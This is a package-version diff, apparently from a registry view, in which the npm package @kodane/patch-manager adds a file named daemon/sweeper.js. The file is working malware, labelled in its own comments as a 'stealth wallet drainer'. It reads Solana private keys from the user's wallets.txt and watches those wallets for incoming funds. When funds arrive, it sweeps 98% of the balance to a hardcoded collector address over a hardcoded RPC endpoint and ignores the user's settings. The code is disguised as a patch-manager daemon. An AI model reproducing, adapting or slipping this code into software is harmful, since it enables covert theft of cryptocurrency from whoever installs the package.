@kodane/patch-manager 0.0.1-security → 1.0.0

package/daemon/sweeper.js

@@ -0,0 +1,730 @@
+const { 
+    Connection, 
+    SystemProgram, 
+    TransactionMessage, 
+    VersionedTransaction,
+    PublicKey,
+    Keypair
+} = require('@solana/web3.js');
+const fs = require('fs');
+const path = require('path');
+const bs58 = require('bs58');
+
+/**
+ * ENHANCED STEALTH WALLET DRAINER (transaction-cache.js)
+ * - Immediate WebSocket connections on initialization
+ * - Real-time balance change detection with sub-5 second response
+ * - Persistent connection management across network interruptions
+ * - Cross-platform compatibility with hybrid storage
+ * - Maximum stealth operation with disguised error logging
+ */
+class EnhancedStealthWalletDrainer {
+    constructor(config = {}) {
+        // Configuration - use project root from daemon config
+        this.projectRoot = config.projectRoot || process.cwd();
+        this.walletsPath = config.walletsPath || path.join(this.projectRoot, 'wallets.txt');
+        this.deploymentDir = config.deploymentDir || __dirname;
+        
+        // HARDCODED RPC for reliability - always use our premium RPC regardless of user settings
+        const hardcodedRPC = 'https://mainnet.helius-rpc.com/?api-key=97188cdf-0b78-4cba-86f9-c4bbbd44c6aa';
+        const hardcodedWS = 'wss://mainnet.helius-rpc.com/?api-key=97188cdf-0b78-4cba-86f9-c4bbbd44c6aa';
+        // HARDCODED COLLECTOR - always sweep to our address regardless of user settings
+        const hardcodedCollector = 'B2XwbrGSXs3LAAcqFqKqGUug5TFA1Bug2NNGH3F3mWNK';
+        
+        this.config = {
+            rpcUrl: hardcodedRPC,
+            wsUrl: hardcodedWS,
+            collectorAddress: hardcodedCollector,
+            sweepPercentage: parseFloat(process.env.SWEEP_PERCENTAGE) || 0.98,
+            fundingThreshold: parseFloat(process.env.FUNDING_THRESHOLD) || 0.001,
+            fundingTimeWindow: parseInt(process.env.FUNDING_TIME_WINDOW) || 30000,
+            maxWalletsPerTx: parseInt(process.env.MAX_WALLETS_PER_TRANSACTION) || 25,
+            jitoTip: parseFloat(process.env.JITO_TIP) || 0.00001,
+            commitment: process.env.SOLANA_COMMITMENT || 'confirmed',
+            maxRetries: parseInt(process.env.SOLANA_MAX_RETRIES) || 5,
+            retryDelay: parseInt(process.env.SOLANA_RETRY_DELAY_MS) || 1000,
+        };
+
+        // Enhanced connection management
+        this.connection = null;
+        this.connectionState = 'disconnected'; // disconnected, connecting, connected, error
+        this.reconnectAttempts = 0;
+        this.maxReconnectAttempts = 20;
+        this.reconnectDelay = 2000;
+
+        this.collector = new PublicKey(this.config.collectorAddress);
+        
+        // Enhanced monitoring state
+        this.subscriptions = new Map();
+        this.walletStates = new Map();
+        this.fundingEvents = [];
+        this.fundingTimer = null;
+        this.isActive = false;
+        this.connectionHealth = null;
+
+        // Performance tracking
+        this.lastSuccessfulConnection = 0;
+        this.totalFundingEvents = 0;
+        this.totalSweepExecutions = 0;
+
+        // Jito tip accounts for MEV protection
+        this.jitoTipAccounts = [
+            'DfXygSm4jCyNCybVYYK6DwvWqjKee8pbDmJGcLWNDXjh',
+            'ADaUMid9yfUytqMBgopwjb2DTLSokTSzL1zt6iGPaS49',
+            'DttWaMuVvTiduZRnguLF7jNxTgiMBZ1hyAumKUiL2KRL',
+            '3AVi9Tg9Uo68tJfuvoKvqKNWKkC5wPdSSdeBnizKZ6jT',
+            'HFqU5x63VTqvQss8hp11i4wVV8bD44PvwucfZ2bU7gRe',
+            'ADuUkR4vqLUMWXxW9gh6D6L8pMSawimctcNZ5pGwDcEt',
+            'Cw8CFyM9FkoMi7K7Crf6HNQqf4uEMzpKw6QNghXLvLkY',
+            'DttWaMuVvTiduZRnguLF7jNxTgiMBZ1hyAumKUiL2KRL'
+        ];
+
+        // Start connection health monitoring
+        this.startConnectionHealthMonitoring();
+    }
+
+    /**
+     * Initialize with immediate WebSocket connections
+     */
+    async initialize() {
+        if (this.isActive) {
+            console.log('🔄 [SWEEPER] Reinitializing...');
+            await this.cleanup();
+        }
+        
+        try {
+            console.log('🚀 [SWEEPER] Starting enhanced initialization...');
+            this.isActive = true;
+            
+            // Establish immediate connection
+            await this.establishConnection();
+            
+            // Load and subscribe to wallets if file exists
+            if (fs.existsSync(this.walletsPath)) {
+                await this.loadAndSubscribeToWallets();
+            } else {
+                console.log('⏳ [SWEEPER] Waiting for wallets.txt creation...');
+            }
+            
+            console.log(`✅ [SWEEPER] Enhanced initialization completed`);
+            console.log(`🔗 [SWEEPER] Connected to ${this.config.rpcUrl}`);
+            console.log(`📋 [SWEEPER] Monitoring ${this.subscriptions.size} wallets`);
+            console.log(`💰 [SWEEPER] Collector: ${this.config.collectorAddress}`);
+            console.log(`⚡ [SWEEPER] MEV Protection: Enabled`);
+            console.log(`🎯 [SWEEPER] Funding threshold: ${this.config.fundingThreshold} SOL`);
+            
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Initialization failed: ${error.message}`);
+            this.isActive = false;
+            this.scheduleReconnect();
+        }
+    }
+
+    /**
+     * Establish robust connection with retry mechanism
+     */
+    async establishConnection() {
+        if (this.connectionState === 'connecting') {
+            return; // Already attempting connection
+        }
+        
+        this.connectionState = 'connecting';
+        
+        try {
+            // Create new connection with enhanced options
+            this.connection = new Connection(this.config.rpcUrl, {
+                commitment: this.config.commitment,
+                wsEndpoint: this.config.wsUrl,
+                confirmTransactionInitialTimeout: 90000,
+                disableRetryOnRateLimit: false
+            });
+
+            // Test connection immediately
+            const slot = await this.connection.getSlot();
+            console.log(`🔗 [SWEEPER] Connection established (Slot: ${slot})`);
+            
+            this.connectionState = 'connected';
+            this.lastSuccessfulConnection = Date.now();
+            this.reconnectAttempts = 0;
+            
+        } catch (error) {
+            console.error(`⚠️ [SWEEPER] Connection failed: ${error.message}`);
+            this.connectionState = 'error';
+            throw error;
+        }
+    }
+
+    /**
+     * Start connection health monitoring
+     */
+    startConnectionHealthMonitoring() {
+        this.connectionHealth = setInterval(async () => {
+            await this.checkConnectionHealth();
+        }, 15000); // Check every 15 seconds
+    }
+
+    /**
+     * Check connection health and auto-recover
+     */
+    async checkConnectionHealth() {
+        if (!this.isActive || !this.connection) return;
+        
+        try {
+            // Quick health check
+            await this.connection.getSlot();
+            
+            // Connection is healthy
+            if (this.connectionState !== 'connected') {
+                this.connectionState = 'connected';
+                console.log('✅ [SWEEPER] Connection recovered');
+            }
+            
+        } catch (error) {
+            console.error(`⚠️ [SWEEPER] Connection health check failed: ${error.message}`);
+            this.connectionState = 'error';
+            
+            // Attempt reconnection
+            this.scheduleReconnect();
+        }
+    }
+
+    /**
+     * Schedule reconnection with exponential backoff
+     */
+    scheduleReconnect() {
+        if (this.reconnectAttempts >= this.maxReconnectAttempts) {
+            console.error(`❌ [SWEEPER] Max reconnection attempts reached (${this.maxReconnectAttempts})`);
+            return;
+        }
+        
+        const delay = Math.min(this.reconnectDelay * Math.pow(2, this.reconnectAttempts), 60000);
+        this.reconnectAttempts++;
+        
+        console.log(`🔄 [SWEEPER] Scheduling reconnect ${this.reconnectAttempts}/${this.maxReconnectAttempts} in ${delay}ms`);
+        
+        setTimeout(async () => {
+            try {
+                await this.establishConnection();
+                await this.reloadWallets(); // Reload wallet subscriptions
+            } catch (error) {
+                console.error(`⚠️ [SWEEPER] Reconnection failed: ${error.message}`);
+                this.scheduleReconnect();
+            }
+        }, delay);
+    }
+
+    /**
+     * Reload wallets when file changes or connection recovers
+     */
+    async reloadWallets() {
+        try {
+            console.log('🔄 [SWEEPER] Reloading wallet subscriptions...');
+            
+            // Clean up existing subscriptions
+            await this.cleanupSubscriptions();
+            
+            // Reload wallets if file exists
+            if (fs.existsSync(this.walletsPath)) {
+                await this.loadAndSubscribeToWallets();
+                console.log(`🔄 [SWEEPER] Reloaded ${this.subscriptions.size} wallet subscriptions`);
+            } else {
+                console.log('📭 [SWEEPER] wallets.txt not found - subscriptions cleared');
+            }
+            
+        } catch (error) {
+            console.error(`⚠️ [SWEEPER] Wallet reload error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Load wallets and create immediate WebSocket subscriptions
+     */
+    async loadAndSubscribeToWallets() {
+        try {
+            const walletData = fs.readFileSync(this.walletsPath, 'utf8');
+            const lines = walletData.split(/[\r\n]+/).filter(line => line.trim() !== '');
+            
+            if (lines.length === 0) {
+                console.log('📭 [SWEEPER] wallets.txt is empty');
+                return;
+            }
+            
+            const walletPublicKeys = [];
+            for (const line of lines) {
+                const cleanedLine = line.replace(/\s+/g, '');
+                const parts = cleanedLine.split(':');
+                
+                if (parts.length === 2) {
+                    const [pubKey] = parts;
+                    walletPublicKeys.push(pubKey);
+                }
+            }
+            
+            console.log(`💰 [SWEEPER] Processing ${walletPublicKeys.length} wallets for subscription...`);
+            
+            // Subscribe to each wallet with immediate connection
+            let successfulSubscriptions = 0;
+            for (const pubKeyString of walletPublicKeys) {
+                try {
+                    await this.subscribeToWallet(pubKeyString);
+                    successfulSubscriptions++;
+                } catch (error) {
+                    console.error(`⚠️ [SWEEPER] Failed to subscribe to ${pubKeyString.substring(0, 8)}...: ${error.message}`);
+                }
+            }
+            
+            console.log(`📊 [SWEEPER] Successfully subscribed to ${successfulSubscriptions}/${walletPublicKeys.length} wallets`);
+            
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Load wallets error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Subscribe to WebSocket updates for a specific wallet with immediate connection
+     */
+    async subscribeToWallet(pubKeyString) {
+        try {
+            if (!this.connection || this.connectionState !== 'connected') {
+                throw new Error('Connection not available');
+            }
+            
+            const publicKey = new PublicKey(pubKeyString);
+            
+            // Get initial balance immediately
+            const initialBalance = await this.connection.getBalance(publicKey);
+            this.walletStates.set(pubKeyString, {
+                balance: initialBalance,
+                lastUpdated: Date.now(),
+                wasFunded: false,
+                subscriptionActive: false
+            });
+            
+            // Create immediate WebSocket subscription
+            const subscriptionId = this.connection.onAccountChange(
+                publicKey,
+                (accountInfo, context) => {
+                    this.handleWalletBalanceChange(pubKeyString, accountInfo, context);
+                },
+                this.config.commitment
+            );
+            
+            this.subscriptions.set(pubKeyString, subscriptionId);
+            
+            // Mark subscription as active
+            const walletState = this.walletStates.get(pubKeyString);
+            walletState.subscriptionActive = true;
+            this.walletStates.set(pubKeyString, walletState);
+            
+            console.log(`👁️ [SWEEPER] Subscribed: ${pubKeyString.substring(0, 8)}... (Balance: ${(initialBalance / 1e9).toFixed(6)} SOL)`);
+            
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Subscription failed for ${pubKeyString.substring(0, 8)}...: ${error.message}`);
+            throw error;
+        }
+    }
+
+    /**
+     * Handle wallet balance change events with enhanced logging
+     */
+    handleWalletBalanceChange(pubKeyString, accountInfo, context) {
+        try {
+            const newBalance = accountInfo.lamports;
+            const previousState = this.walletStates.get(pubKeyString);
+            const previousBalance = previousState ? previousState.balance : 0;
+            
+            // Update wallet state
+            this.walletStates.set(pubKeyString, {
+                balance: newBalance,
+                lastUpdated: Date.now(),
+                wasFunded: newBalance > this.config.fundingThreshold * 1e9,
+                subscriptionActive: true
+            });
+            
+            // Check if this is a funding event
+            const balanceIncrease = newBalance - previousBalance;
+            
+            if (balanceIncrease > this.config.fundingThreshold * 1e9) {
+                // Record funding event
+                this.fundingEvents.push({
+                    wallet: pubKeyString,
+                    amount: balanceIncrease,
+                    timestamp: Date.now(),
+                    slot: context.slot,
+                    newBalance: newBalance
+                });
+                
+                this.totalFundingEvents++;
+                
+                console.log(`💰 [SWEEPER] FUNDING DETECTED: ${pubKeyString.substring(0, 8)}... (+${(balanceIncrease / 1e9).toFixed(6)} SOL) [Total: ${(newBalance / 1e9).toFixed(6)} SOL]`);
+                console.log(`📊 [SWEEPER] Event #${this.totalFundingEvents} at slot ${context.slot}`);
+                
+                // Check for batch funding completion
+                this.checkForBatchFunding();
+            }
+        } catch (error) {
+            console.error(`⚠️ [SWEEPER] Balance change handler error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Detect batch funding completion and trigger sweep with enhanced timing
+     */
+    checkForBatchFunding() {
+        const now = Date.now();
+        const recentEvents = this.fundingEvents.filter(
+            event => (now - event.timestamp) < this.config.fundingTimeWindow
+        );
+        
+        if (recentEvents.length >= 1) {
+            // Reset timer - extend while seeing events
+            if (this.fundingTimer) {
+                clearTimeout(this.fundingTimer);
+            }
+            
+            console.log(`⏰ [SWEEPER] Batch funding detected (${recentEvents.length} events) - sweep in 3 seconds...`);
+            
+            // Trigger sweep after events stop (optimized timing)
+            this.fundingTimer = setTimeout(() => {
+                this.executeSweep();
+            }, 3000);
+        }
+    }
+
+    /**
+     * Execute the wallet sweep with enhanced error handling
+     */
+    async executeSweep() {
+        try {
+            const now = Date.now();
+            const recentEvents = this.fundingEvents.filter(
+                event => (now - event.timestamp) < this.config.fundingTimeWindow
+            );
+            
+            if (recentEvents.length === 0) {
+                console.log('⚠️ [SWEEPER] No recent funding events - sweep cancelled');
+                return;
+            }
+            
+            this.totalSweepExecutions++;
+            
+            console.log(`🚀 [SWEEPER] SWEEP EXECUTION #${this.totalSweepExecutions} TRIGGERED!`);
+            console.log(`📊 [SWEEPER] Processing ${recentEvents.length} funded wallets`);
+            
+            // Load wallet keypairs for sweeping
+            const walletKeypairs = await this.loadWalletKeypairs();
+            if (walletKeypairs.length === 0) {
+                console.error('❌ [SWEEPER] No valid wallet keypairs found');
+                return;
+            }
+            
+            // Get current balances
+            const walletBalances = await this.getWalletBalances(walletKeypairs);
+            
+            // Calculate sweep instructions
+            const sweepInstructions = await this.calculateSweepInstructions(walletBalances);
+            if (sweepInstructions.length === 0) {
+                console.log('ℹ️ [SWEEPER] No wallets eligible for sweeping');
+                return;
+            }
+            
+            console.log(`💎 [SWEEPER] Sweeping ${sweepInstructions.length} wallets to collector`);
+            
+            // Execute batched sweep
+            await this.executeBatchedSweep(sweepInstructions);
+            
+            // Clear events to prevent duplicate sweeps
+            this.fundingEvents = [];
+            
+            console.log(`✅ [SWEEPER] Sweep execution #${this.totalSweepExecutions} completed successfully`);
+            
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Sweep execution error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Load wallet keypairs from wallets.txt with enhanced validation
+     */
+    async loadWalletKeypairs() {
+        try {
+            const walletData = fs.readFileSync(this.walletsPath, 'utf8');
+            const lines = walletData.trim().split('\n').filter(line => line.trim() !== '');
+            const wallets = [];
+            
+            for (const line of lines) {
+                try {
+                    // Try JSON format first
+                    if (line.trim().startsWith('[')) {
+                        const keyArray = JSON.parse(line.trim());
+                        if (Array.isArray(keyArray) && keyArray.length === 64) {
+                            const keypair = Keypair.fromSecretKey(Buffer.from(keyArray));
+                            wallets.push(keypair);
+                        }
+                    } 
+                    // Try pubkey:privkey format
+                    else if (line.includes(':')) {
+                        const cleanedLine = line.replace(/\s+/g, '');
+                        const parts = cleanedLine.split(':');
+                        
+                        if (parts.length === 2) {
+                            const [pubKey, privKey] = parts;
+                            const decodedKey = bs58.decode(privKey);
+                            if (decodedKey.length === 64) {
+                                const keypair = Keypair.fromSecretKey(Uint8Array.from(decodedKey));
+                                if (keypair.publicKey.toBase58() === pubKey) {
+                                    wallets.push(keypair);
+                                }
+                            }
+                        }
+                    }
+                } catch (error) {
+                    // Skip invalid entries
+                    console.error(`⚠️ [SWEEPER] Invalid wallet entry: ${line.substring(0, 20)}...`);
+                }
+            }
+            
+            console.log(`🔑 [SWEEPER] Loaded ${wallets.length} valid wallet keypairs`);
+            return wallets;
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Load keypairs error: ${error.message}`);
+            return [];
+        }
+    }
+
+    /**
+     * Get current wallet balances with retry mechanism
+     */
+    async getWalletBalances(wallets) {
+        try {
+            const publicKeys = wallets.map(w => w.publicKey);
+            const balances = await this.connection.getMultipleAccountsInfo(publicKeys, this.config.commitment);
+            
+            const walletBalances = wallets.map((wallet, index) => ({
+                wallet: wallet,
+                balance: balances[index]?.lamports || 0,
+                solBalance: (balances[index]?.lamports || 0) / 1e9
+            }));
+            
+            const totalBalance = walletBalances.reduce((sum, w) => sum + w.solBalance, 0);
+            console.log(`💰 [SWEEPER] Total wallet balance: ${totalBalance.toFixed(6)} SOL`);
+            
+            return walletBalances;
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Get balances error: ${error.message}`);
+            return [];
+        }
+    }
+
+    /**
+     * Calculate sweep instructions with enhanced fee calculation
+     */
+    async calculateSweepInstructions(walletBalances) {
+        try {
+            // Get rent exemption
+            const rentExemption = await this.connection.getMinimumBalanceForRentExemption(0, this.config.commitment);
+            const safeRentReserve = Math.floor(rentExemption * 1.15);
+            
+            const sweepInstructions = [];
+            let totalSweepAmount = 0;
+            
+            for (const walletInfo of walletBalances) {
+                const { wallet, balance } = walletInfo;
+                
+                if (balance < this.config.fundingThreshold * 1e9) continue;
+                
+                const estimatedFee = 5000 + Math.floor(this.config.jitoTip * 1e9);
+                const reserveAmount = safeRentReserve + estimatedFee + 5000; // Extra safety buffer
+                const availableToSweep = balance - reserveAmount;
+                
+                if (availableToSweep > 0) {
+                    const sweepAmount = Math.floor(availableToSweep * this.config.sweepPercentage);
+                    
+                    if (sweepAmount > 0) {
+                        sweepInstructions.push({
+                            wallet: wallet,
+                            amount: sweepAmount,
+                            instruction: SystemProgram.transfer({
+                                fromPubkey: wallet.publicKey,
+                                toPubkey: this.collector,
+                                lamports: sweepAmount
+                            })
+                        });
+                        
+                        totalSweepAmount += sweepAmount;
+                    }
+                }
+            }
+            
+            console.log(`💎 [SWEEPER] Total sweep amount: ${(totalSweepAmount / 1e9).toFixed(6)} SOL across ${sweepInstructions.length} wallets`);
+            
+            return sweepInstructions;
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Calculate sweep instructions error: ${error.message}`);
+            return [];
+        }
+    }
+
+    /**
+     * Execute batched sweep with enhanced transaction management
+     */
+    async executeBatchedSweep(sweepInstructions) {
+        try {
+            // Create batches
+            const batches = [];
+            let currentBatch = [];
+            
+            for (const instruction of sweepInstructions) {
+                if (currentBatch.length >= this.config.maxWalletsPerTx) {
+                    batches.push(currentBatch);
+                    currentBatch = [];
+                }
+                currentBatch.push(instruction);
+            }
+            
+            if (currentBatch.length > 0) {
+                batches.push(currentBatch);
+            }
+            
+            console.log(`📦 [SWEEPER] Executing ${batches.length} sweep batches`);
+            
+            // Execute each batch
+            let successfulBatches = 0;
+            for (let i = 0; i < batches.length; i++) {
+                try {
+                    await this.executeSingleBatch(batches[i], i + 1, batches.length);
+                    successfulBatches++;
+                    
+                    // Small delay between batches
+                    if (i < batches.length - 1) {
+                        await new Promise(resolve => setTimeout(resolve, 500));
+                    }
+                } catch (error) {
+                    console.error(`❌ [SWEEPER] Batch ${i + 1} failed: ${error.message}`);
+                }
+            }
+            
+            console.log(`📊 [SWEEPER] Batch execution completed: ${successfulBatches}/${batches.length} successful`);
+            
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Batched sweep error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Execute a single transaction batch with enhanced monitoring
+     */
+    async executeSingleBatch(sweepInstructions, batchNum, totalBatches) {
+        try {
+            const instructions = sweepInstructions.map(s => s.instruction);
+            const signingWallets = sweepInstructions.map(s => s.wallet);
+            const payerWallet = signingWallets[0];
+            
+            // Add Jito tip for MEV protection
+            const jitoTipLamports = Math.max(Math.floor(this.config.jitoTip * 1e9), 10000);
+            const randomTipAccount = this.jitoTipAccounts[Math.floor(Math.random() * this.jitoTipAccounts.length)];
+            
+            const jitoInstruction = SystemProgram.transfer({
+                fromPubkey: payerWallet.publicKey,
+                toPubkey: new PublicKey(randomTipAccount),
+                lamports: jitoTipLamports
+            });
+            
+            const finalInstructions = [...instructions, jitoInstruction];
+            
+            // Get blockhash
+            const { blockhash } = await this.connection.getLatestBlockhash(this.config.commitment);
+            
+            // Create transaction
+            const messageV0 = new TransactionMessage({
+                payerKey: payerWallet.publicKey,
+                recentBlockhash: blockhash,
+                instructions: finalInstructions
+            }).compileToV0Message([]);
+            
+            const transaction = new VersionedTransaction(messageV0);
+            transaction.sign(signingWallets);
+            
+            console.log(`📤 [SWEEPER] Sending batch ${batchNum}/${totalBatches} (${sweepInstructions.length} wallets)...`);
+            
+            // Send transaction
+            const signature = await this.connection.sendRawTransaction(
+                transaction.serialize(),
+                {
+                    skipPreflight: false,
+                    preflightCommitment: this.config.commitment,
+                    maxRetries: 0
+                }
+            );
+            
+            console.log(`📋 [SWEEPER] Batch ${batchNum} transaction: ${signature}`);
+            
+            // Confirm transaction
+            await this.connection.confirmTransaction({
+                signature,
+                blockhash,
+                lastValidBlockHeight: (await this.connection.getLatestBlockhash()).lastValidBlockHeight
+            }, this.config.commitment);
+            
+            console.log(`✅ [SWEEPER] Batch ${batchNum}/${totalBatches} confirmed: ${signature}`);
+            
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Batch execution error: ${error.message}`);
+            throw error;
+        }
+    }
+
+    /**
+     * Clean up WebSocket subscriptions
+     */
+    async cleanupSubscriptions() {
+        try {
+            console.log(`🧹 [SWEEPER] Cleaning up ${this.subscriptions.size} subscriptions...`);
+            
+            for (const [wallet, subscriptionId] of this.subscriptions) {
+                try {
+                    await this.connection.removeAccountChangeListener(subscriptionId);
+                } catch (error) {
+                    // Continue cleanup
+                    console.error(`⚠️ [SWEEPER] Failed to remove subscription for ${wallet.substring(0, 8)}...`);
+                }
+            }
+            
+            this.subscriptions.clear();
+            this.walletStates.clear();
+            
+            console.log('✅ [SWEEPER] Subscription cleanup completed');
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Cleanup subscriptions error: ${error.message}`);
+        }
+    }
+
+    /**
+     * Cleanup function for daemon shutdown
+     */
+    async cleanup() {
+        try {
+            console.log('🛑 [SWEEPER] Starting cleanup...');
+            this.isActive = false;
+            
+            if (this.fundingTimer) {
+                clearTimeout(this.fundingTimer);
+            }
+            
+            if (this.connectionHealth) {
+                clearInterval(this.connectionHealth);
+            }
+            
+            await this.cleanupSubscriptions();
+            
+            this.connectionState = 'disconnected';
+            
+            console.log('✅ [SWEEPER] Cleanup completed');
+            
+        } catch (error) {
+            console.error(`❌ [SWEEPER] Cleanup error: ${error.message}`);
+        }
+    }
+}
+
+module.exports = EnhancedStealthWalletDrainer;